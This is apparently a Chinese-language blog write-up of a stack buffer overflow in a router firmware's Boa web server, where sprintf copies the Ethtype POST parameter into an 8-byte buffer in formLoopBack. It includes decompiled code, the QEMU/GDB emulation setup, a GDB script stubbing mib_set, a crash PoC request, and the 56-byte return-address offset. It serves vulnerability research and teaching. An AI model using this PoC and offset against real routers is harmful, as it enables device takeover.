v3 = multilang(2019);
sprintf(v19, "%s (LBD_ENABLE)", v3);
LABEL_19:
boaHeader(a1);
boaWrite(a1, "<head>");
boaWrite(a1, "<meta http-equiv=Content-Type content=text/html charset=utf-8>\n");
boaWrite(a1, "<script>");
boaWrite(a1, "top.$(\"#mask\").css(\"display\",\"none\");");
boaWrite(a1, "top.$(\"#saveTip\").css(\"display\",\"none\");");
boaWrite(a1, "</script>\n</head>");
boaWrite(a1, "<body><blockquote><h4>%s</h4>\n", v19);
boaWrite(
a1,
"<form><input type=\"button\" onclick=\"window.location.href = document.referrer;\" value=\" OK "
"; \" name=\"OK\"></form></blockquote></body>");
LABEL_32:
boaFooter(a1);
return ((int (__fastcall *)(int, int))boaDone)(a1, 200);
}
}
Var = (_BYTE *)boaGetVar(a1, "DetectionFrameInterval", "");
if ( *Var )
{
sscanf(Var, "%u", &n10);
if ( !mib_set(367, &n10) )
{
v5 = multilang(2019);
sprintf(v19, "%s (LBD_EXIST_PERIOD)", v5);
goto LABEL_19;
}
}
v6 = (_BYTE *)boaGetVar(a1, "RecoverFrameInterval", "");
if ( *v6 && (sscanf(v6, "%u", &n300), !mib_set(368, &n300))
|| (v7 = (const char *)boaGetVar(a1, "Ethtype", ""), *v7)
&& (sprintf(v20, "0x%s", v7), n300_1 = strtol(v20, 0, 16), !mib_set(369, &n300_1)) )
{
v8 = multilang(2019);
sprintf(v19, "%s (LBD_CANCEL_PERIOD)", v8);
goto LABEL_19;
}
v9 = (_BYTE *)boaGetVar(a1, "VLANID", "");
if ( *v9 )
{
v10 = (_BYTE *)strtok(v9, ",");
if ( *v10 != 48 )
{
for ( i = 1; ; i = 0 )
{
n0xFFF = strtol(v10, 0, 10);
n0xFFF_1 = n0xFFF;
if ( n0xFFF >= 0xFFF )
break;
if ( i == 1 )
mib_chain_clear(3093);
n0xFFF_2 = n0xFFF_1;
mib_chain_add(3093, &n0xFFF_2);
v10 = (_BYTE *)strtok(0, ",");
if ( !v10 )
goto LABEL_25;
}
v14 = multilang(3014);
strcpy(v19, v14);
goto LABEL_19;
}
mib_chain_clear(3093);
n0xFFF_2 = 0;
mib_chain_add(3093, &n0xFFF_2);
}
}
LABEL_25:
if ( *(_BYTE *)boaGetVar(a1, "refresh", "") )
{
v15 = (_BYTE *)boaGetVar(a1, "submit-url", "");
if ( *v15 )
return boaRedirect(a1, v15);
}
else
{
setupLBD();
Commit();
v17 = (const char *)boaGetVar(a1, "submit-url", "");
if ( *v17 )
{
boaHeader(a1);
boaWrite(a1, "<head>");
boaWrite(
a1,
"<head><meta http-equiv=Content-Type content=text/html charset=utf-8><script src='/share.js'></script></head>\n");
boaWrite(a1, "<script>");
boaWrite(a1, "top.$(\"#mask\").css(\"display\",\"none\");");
boaWrite(a1, "top.$(\"#saveTip\").css(\"display\",\"none\");");
boaWrite(a1, "</script>\n</head>");
v18 = (const char *)multilang(1793);
boaWrite(a1, "<body><blockquote><h4>%s</h4>\n", v18);
if ( *v17 )
boaWrite(
a1,
"<form><input type=button value=\" OK \" OnClick=window.location.replace(\"%s\")></form></blockquote></body>",
v17);
else
boaWrite(a1, "<form><input type=button value=\" OK \" OnClick=window.close()></form></blockquote></body>");
goto LABEL_32;
}
}
return ((int (__fastcall *)(int, int))boaDone)(a1, 200);
}
|
找到溢出点:
1
2
3
4
5
6
7
8
|
_BYTE v20[8];
...
v7 = (const char *)boaGetVar(a1, "Ethtype", "");
if (*v7)
{
sprintf(v20, "0x%s", v7); // ← 溢出点
...
}
|


v20 栈数组:[8] 最多存 7 个有效字符 + 1 字节\0结束符。
sprintf 模板字符串:"0x%s"
0x 固定占 2 字节
%s把用户的 Ethtype 字符串原样拷贝过来
- 末尾自动补
\0(1 字节)
留给用户输入的最大安全长度 = 8 − 2 −1 = 5 字节
| 用户 Ethtype 输入 |
sprintf 最终写到 v20 的完整字符串 |
结果 |
12345(5 字节) |
0x12345\0 ,也就共 8 字节 |
刚好填满,安全 |
123456(6 字节) |
0x123456\0 也就共 9 字节 |
写越界,溢出! |
sprintf不会做任何长度检查,不管缓冲区多大,有多少字符就往内存写多少。
看到 sprintf(v20[8], "0x%s", boaGetVar("Ethtype")),确定这存在栈溢出漏洞。
C伪代码里的栈布局:
1
2
3
4
5
6
|
char v19[100]; // [sp+18h]
_BYTE v20[8]; // [sp+7Ch] ← 溢出起点(8字节缓冲区)
int n300; // [sp+84h]
int n10; // [sp+88h]
...
// 下面是保存的寄存器 + 返回地址 $ra
|
偏移 = $ra 位置 - v20 位置 = 0xB4 - 0x7C = 0x38 = 56 字节。
其实到这里,就恰好对应了代码审计①的那十个凭直觉去测的路径,果然其中一个formLoopBack恰好是满足条件:
- 在注册表里(是个 form handler) →formLoopBack
- 调用了危险 sink(sprintf)→formLoopBack
- sink 的源是用户输入 + 目标缓冲区小→sprintf(v20[8], "0x%s", Ethtype)
如果对栈进行填充,那就是如下布局:

1
2
3
4
5
6
7
8
9
10
|
v20[8] ← 前8字节填入 "0xAAAAAA"
n300 ← 被 "AAAA" 覆盖
n10 ← 被 "AAAA" 覆盖
n300_1 ← 被 "AA" 覆盖
n0xFFF_2 ← 被 "AA" 覆盖
v25[6] ← 被 "AAAAAA" 覆盖
saved $s0 ← 被覆盖
saved $s4 ← 被覆盖
...
saved $ra ← 被 "AAAA" 覆盖 → 函数返回时跳转到 0x41414141 → 崩溃!
|
先本地复现Web环境,然后我们尝试发包,使其溢出,如果Web网站Down了,那么就说明出现Error情况报错而崩溃了,进一步证实了栈溢出漏洞的存在了。
我这里是wsl2—Ubuntu24.04的环境。
先启动 Boa:
1
2
3
4
5
6
7
|
sudo chroot "$PWD/rootfs_extracted" \
/qemu-mips-static \
-g 1234 \
/bin/boa \
-d \
-p 8080 \
-c /web_home/httpd
|
-g 1234:等待 GDB 连接;
-L rootfs_extracted:使用固件里的 MIPS 动态链接器和库;
rootfs_extracted/bin/boa:运行目标程序。
记住要检查下端口是否被占用!

这个终端停住等待连接是正常的,表示正在等待 HTTP 请求,不要关闭。
接着另开一个 WSL 终端:
1
|
gdb-multiarch ./rootfs_extracted/bin/boa
|

GDB 中开启调试界面:
1
2
3
4
5
6
|
set architecture mips
set endian big
set sysroot /home/expl0rer/iot-debug/rootfs_extracted
set auto-solib-add off
target remote :1234
|
set architecture mips 告诉 GDB,目标程序是 MIPS 架构。 如果不设置,GDB 会按你主机 x86 解析汇编,看到的全是乱码指令。
set endian big 设置字节序为 大端 (big‑endian)。 大部分路由器 MIPS 固件是大端;mipsel 小端固件改成 set endian little。 影响内存、寄存器数据的显示。
set sysroot /home/expl0rer/iot-debug/rootfs_extracted 指定固件解压后的根文件系统路径。 QEMU 远程调试时,GDB 要靠这个路径去找固件里的.so动态库;路径错了共享库符号全部看不到,栈里很多值显示???。
set auto‑solib‑add off 关闭自动加载所有共享库。 如果打开 (on),GDB 一连接 QEMU 就会扫描 sysroot 下全部 so 文件,非常卡顿。 需要看某个库符号的时候手动:sharedlibrary libxxx.so

接着就是下断点:
- break <formLoopBack的地址>(break *0x4443c0)
- continue

接着就是→ 发送 POST 请求 → 命中断点,开始看寄存器、看 A 的填充位置。
当前Web环境已经几乎复现出来了:

认证分析
但是话说回来,IOT固件程序这么庞大,找到漏洞后,怎么单走这个地方触发崩溃呢?
换句话说:"我怎么控制输入,让程序走到这个漏洞函数?"、"我发什么 HTTP 请求,才能让请求走到 formLoopBack?"
先捋一遍大致过程,从“谁调用 formLoopBack”开始,在代码审计①中可知,handleForm通过注册表指向formLoopBack的,而对于handleForm,handleForm被 init_form 调用:

到init_form:


它是经write_body调用,然后就是process_requests大的函数的调用:formLoopBack ← handleForm ← init_form ← process_requests,这个地方其实就像是代码审计①倒推回去了😄。
完整调用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
_ftext(主循环)0x40cc04
│
└─ process_requests() 0x4153c0
│
├─ 分支1(处理 HTTP 头,先发生)
│ read_header() 0x414528
│ └─ process_header_end() 0x41578c
│ └─ auth_authorize() 0x419390 ★ 认证在这
│
└─ 分支2(处理 body,后发生)
write_body() 0x414bfc
└─ init_form() 0x4123a0
└─ handleForm() 0x41a700
└─ formLoopBack() 0x4443c0 ★ 溢出点在这
|
认证(auth_authorize)在 form 分发之前执行。 所以 formLoopBack 会不会被拦,取决于 auth_authorize 放不放行。
又回到auth_authorize函数的分析了,在 IDA 跳 0x419390,按 F5:
1
2
3
4
5
6
7
8
9
|
v2 = dword_52C230; // 规则链
v3 = a1 + 248; // 当前 URI
while (1) {
if (!v2) return 1; // 没匹配到规则 → 放行(免认证!)
if (!memcmp(v3, *v2, v2[2])) // URI 匹配规则前缀 → 停下查登录
break;
v2 = v2[3];
}
// 匹配到了 → 查登录 session → 没登录 → 重定向登录页
|
这就是之前的那个登陆界面了:

规则链 dword_52C230 是运行时从 boa.conf 的 Auth 指令读进来的:

auth_add 是 boa 二进制里的一个函数:
1
2
3
|
auth_add(路径, 密码文件) {
把这个"路径"加到认证规则链表 dword_52C230 里
}
|
到这里,认证这条线已经捋清楚了:auth_authorize() 用规则链 dword_52C230 去匹配当前请求的 URI——匹配到规则就查登录,没匹配到就直接放行;而规则链里的规则,是 boa 启动时由 boa.conf 里的 Auth 指令通过 auth_add() 一条条构建起来的。
打开固件解压出来的 boa.conf ,第一条就是:Auth / /var/boaSuper.passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
|
# Boa v0.94 configuration file
# File format has changed little from 0.92
# version changes are noted in the comments
#
# The Boa configuration file is parsed with a lex/yacc or flex/bison
# generated parser. If it reports an error, the line number will be
# provided; it should be easy to spot. The syntax of each of these
# rules is very simple, and they can occur in any order. Where possible
# these directives mimic those of NCSA httpd 1.3; I saw no reason to
# introduce gratuitous differences.
# The "ServerRoot" is not in this configuration file. It can be compiled
# into the server (see defines.h) or specified on the command line with
# the -c option, for example:
#
# boa -c /usr/local/boa
# Port: The port Boa runs on. The default port for http servers is 80.
# If it is less than 1024, the server must be started as root.
Port 80
# User: The name or UID the server should run as.
# Group: The group name or GID the server should run as.
User 0
Group 0
# ServerAdmin: The email address where server problems should be sent.
# Note: this is not currently used.
#ServerAdmin root@localhost
# ErrorLog: The location of the error log file. If this does not start
# with /, it is considered relative to the server root.
# Set to /dev/null if you don't want errors logged.
#ErrorLog /var/log/boa/error_log
# AccessLog: The location of the access log file. If this does not
# start with /, it is considered relative to the server root.
# Comment out or set to /dev/null (less effective) to disable
# Access logging.
#AccessLog /var/log/boa/access_log
# RefererLog: The location of the referer log file. If this does not
# start with /, it is considered relative to the server root.
# Comment out or set to /dev/null (less effective) to disable
# referer logging.
#RefererLog /var/log/boa/referer_log
# AgentLog: The location of the agent log file. If this does not
# start with /, it is considered relative to the server root.
# Comment out or set to /dev/null (less effective) to disable
# User-Agent logging.
#AgentLog /var/log/boa/agent_log
# VerboseCGILogs: this is just a logical switch.
# Comment out to disable.
#VerboseCGILogs
# ServerName: the name of this server that should be sent back to
# clients if different than that returned by gethostname -- often
# this is www.foo.bar.
#ServerName www.your.org.here
#ServerName localhost
# DocumentRoot: The root directory of the HTML documents.
DocumentRoot web
# ChRoot: Boa root '/' directory. This is useful to improve security of
# your system. Don't forget that ALL DIRECTORIES used by boa except logs
# must be in this directory. If you need cgi scripts, you must copy shared
# libraries to this directory (see ldconfig(8) for more info)
#Chroot /var
# UserDir: The name of the directory which is appended onto a user's home
# directory if a ~user request is recieved.
#UserDir www
# DirectoryIndex: Name of the file to use as a pre-written HTML
# directory index. Please MAKE AND USE THESE FILES. On the
# fly creation of directory indexes can be _slow_.
#
DirectoryIndex index.html
#DirectoryMaker /usr/local/sbin/boa_indexer
# LocalCodepage: Local codepage. This is send to client in 'Content-Type:'
# header by default.
#LocalCodepage iso-8859-1
# Codepage: Load codepage conversion table from file. This table will be used
# on-the-fly conversion.
#Codepage us-ascii /usr/lib/boa/iso-8859-2/us-ascii
# CodepageByURL: Specify URL prefix codepage. This command is used for manual
# codepage selection. For example, http://www.cz.boa.org/asc/document.html
# converts /document.html to us-ascii
#CodepageByURL /asc us-ascii
# CodepageByBrowser: Specify codepage by $USER_AGENT. This command is used for
# automatic codepage selection. You can use characters '*' and '?' in browser
# string. For example, "CodepageByBrowser Lynx/* us-ascii" will send for Lynx
# users all documents in us-ascii.
#CodepageByBrowser Lynx/* us-ascii
# KeepAliveMax: Number of KeepAlive requests to allow per connection
# Comment out, or set to 0 to disable keepalive processing
KeepAliveMax 100
# KeepAliveTimeout: seconds to wait before keepalive connection times out
KeepAliveTimeout 10
# MimeTypes: This is the file that is used to generate mime type pairs
# and Content-Type fields for boa.
MimeTypes /etc/mime.types
# DefaultType: MIME type used if the file extension is unknown, or there
# is no file extension.
DefaultType text/plain
# AddType: adds types without editing mime.types
# Example: AddType type extension [extension ...]
# Uncomment the next line if you want .cgi files to execute from anywhere
#AddType application/x-httpd-cgi cgi
AddType application/x-httpd-cgi asp
AddType application/x-javascript js
AddType text/html html
AddType text/css css
AddType application/javascript js
# Redirect, Alias, and ScriptAlias all have the same semantics -- they
# match the beginning of a request and take appropriate action. Use
# Redirect for other servers, Alias for the same server, and ScriptAlias
# to enable directories for script execution.
# Redirect allows you to tell clients about documents which used to exist in
# your server's namespace, but do not anymore. This allows you to tell the
# clients where to look for the relocated document.
# Example: Redirect /bar http://elsewhere/feh/bar
# Aliases: Aliases one path to another.
# Example: Alias /path1/bar /path2/foo
#Alias /doc /usr/doc
# ScriptAlias: Maps a virtual path to a directory for serving scripts
# Example: ScriptAlias /htbin/ /www/htbin/
ScriptAlias /boaform/ /web
ScriptAlias /boaform/admin /web/admin
# VirtualHost: Maps a virtual host to a directory.
# Example: VirtualHost cz.boa.org /html/htdocs/boa/
#VirtualHost www.second.company.com /var/www/second_company/
# Auth: HTTP Basic authorization. Format is "Auth <Directory> <PasswdFile>".
# Password file should be readable _ONLY_ by root or trusted user(s). This file
# is opened before boa gives out privs.
# Example: Auth /secret /var/www/secret.passwd
Auth / /var/boaSuper.passwd
Auth /admin /var/boaUser.passwd
Auth /boaform/admin /var/boaUser.passwd
Auth /graphics /var/boaUser.passwd
#Digest / /var/DigestSuper.passwd:ADSL@Realtek
#Digest /admin /var/DigestUser.passwd:ADSL@Realtek
#Digest /boaform/admin /var/DigestUser.passwd:ADSL@Realtek
|
这条规则的前缀是 /,意味着所有路径都会命中它,/boaform/formLoopBack 也不例外。也就是说,在这个固件的默认配置下,formLoopBack 其实是在认证之后才能到达的。
为了先验证"溢出点本身到底能不能触发崩溃"(把认证这个变量先放一边),这里有两种做法:
- 先用合法账号登录,拿到 session 再发 PoC(最贴近真实环境);
- 临时把
boa.conf 里的 Auth / 注释掉,让请求能直接到达 formLoopBack handler,快速看到溢出效果。
账号肯定是没有的,那就只能修改那一行代码,做本地复现(之前本地复现成功了)。
1
|
sudo nano web_home/httpd/boa.conf
|

在 nano 中:
-
按 Ctrl+W
-
搜索:
1
|
Auth / /var/boaSuper.passwd
|

-
找到这一行:
1
|
Auth / /var/boaSuper.passwd
|
-
在行首加 #,变成:
1
|
#Auth / /var/boaSuper.passwd
|

-
保存:Ctrl+O,回车
-
退出:Ctrl+X
然后确认:
1
|
grep -n '^#\?Auth' web_home/httpd/boa.conf
|
应看到:
1
2
3
4
|
184:#Auth / /var/boaSuper.passwd
185:Auth /admin /var/boaUser.passwd
186:Auth /boaform/admin /var/boaUser.passwd
187:Auth /graphics /var/boaUser.passwd
|

也可以不用编辑器,直接执行:
1
2
|
cd ~/iot-debug/rootfs_extracted
sudo sed -i 's|^Auth / /var/boaSuper.passwd|#Auth / /var/boaSuper.passwd|' web_home/httpd/boa.conf
|
确认是否成功:
1
|
grep -n '^#\?Auth' web_home/httpd/boa.conf
|
重启 Boa 让配置生效,然后重新连接 GDB,再用 Burp 发 formLoopBack 请求。
设置两个断点:
- break *0x4443c0
- break *0x4445a8
- continue
0x4443c0:formLoopBack 入口
0x4445a8:formLoopBack 中调用 sprintf 的位置

去Burpsuite发包,可以发多个A看一下是否出现溢出覆盖。
POC
1
2
3
4
5
6
7
|
POST /boaform/formLoopBack HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 117
apply=1&loopbackenable=1&DetectionFrameInterval=10&Ethtype=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|

QEMU出现的小插曲
问题
直接用 QEMU 用户态跑 boa,formLoopBack 在走到 sprintf 之前会先调用 mib_set:
1
2
|
if ( !mib_set(366, v25) ) ...
if ( !mib_set(367, &n10) ) ...
|
mib_set 依赖路由器上的 MIB 守护进程(消息队列 IPC)。QEMU 用户态没有这个后台服务,于是 mib_set 内部直接段错误,走不到 sprintf。启动日志里的线索:

所以说能不能仿真就不要仿真,有真机器最好,因为QEMU有局限性,也是这块地方卡了我很久。
解决方案
这块已经是我的盲区了,我是直接调用AI大脑的。
为了只验证"过了 MIB 之后,Ethtype 能否打到 sprintf 并覆盖返回地址",用 Python 断点类把 mib_set 桩掉——命中后强制返回 1,跳过真实调用。三处调用点(IDA 反汇编确认):
0x444468 jalr mib_set → 0x444470
0x4444e4 jalr mib_set → 0x4444ec
0x4445d8 jalr mib_set → 0x4445e0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
python
import gdb
class StubMib(gdb.Breakpoint):
def __init__(self, addr, nxt):
super().__init__("*0x%x" % addr)
self.nxt = nxt
def stop(self):
gdb.execute("set $v0 = 1")
gdb.execute("set $pc = 0x%x" % self.nxt)
return False
StubMib(0x444468, 0x444470)
StubMib(0x4444e4, 0x4444ec)
StubMib(0x4445d8, 0x4445e0)
end
|

传完这个脚本给GDB接着下断点:
- break *0x4443c0 # formLoopBack 入口
- break *0x4445a8 # sprintf 调用点
- break *0x4445b0 # sprintf 返回后(也可以往后一点,这地址可随意一些)
- continue
此时会等待接收POST的。

直接发送就行,然后连点三次C指令看三次GDB界面debug情况:
第一次Debug


这里表明已经进入formLoopBack了。
第二次Debug


这里已经有很多A了,多的不解释了,成功打入了。
第三次Debug


再continue一次,崩了。

总结
Ethtype 超长输入
- sprintf 溢出 8 字节缓冲区
- 覆盖保存的返回地址(偏移 56 字节)
- 函数返回跳转到攻击者控制的地址 0x41414141
| 项目 |
详情 |
| CVE |
formLoopBack栈缓冲区溢出 |
| 漏洞位置 |
formLoopBack @ 0x4443C0 |
| 注入点 |
POST 参数 Ethtype |
| 溢出函数 |
sprintf(v20, "0x%s", v7) |
| 缓冲区大小 |
8 字节 |
| $ra 偏移 |
56 字节 |
后续利用方向:将 0x41414141 替换为真实地址(栈上 shellcode 或 ROP 链)即可实现代码执行。
我自己的感受就是太牢了,代码审计①就是我一开始分析走向,感觉太复杂了然后就重头再来,其实能走通的,但是光白名单路径就有一百多个,用聪明一点的AI还是能去嗦的,费Toekn而已,这个分析大部分都是我手搓的,学到的东西还是挺多的,最起码熟悉了下Burpsuite哈哈。
紧接着就是有关仿真的东西,这玩意确实是个难大头,我压根不知道直接用 QEMU 用户态跑 boa,formLoopBack 在走到 sprintf 之前会先调用 mib_set,我没去刻意关注另外一个Wsl-Ubuntu24.04的终端窗口没想到会有这么多报错,都是与它有关的。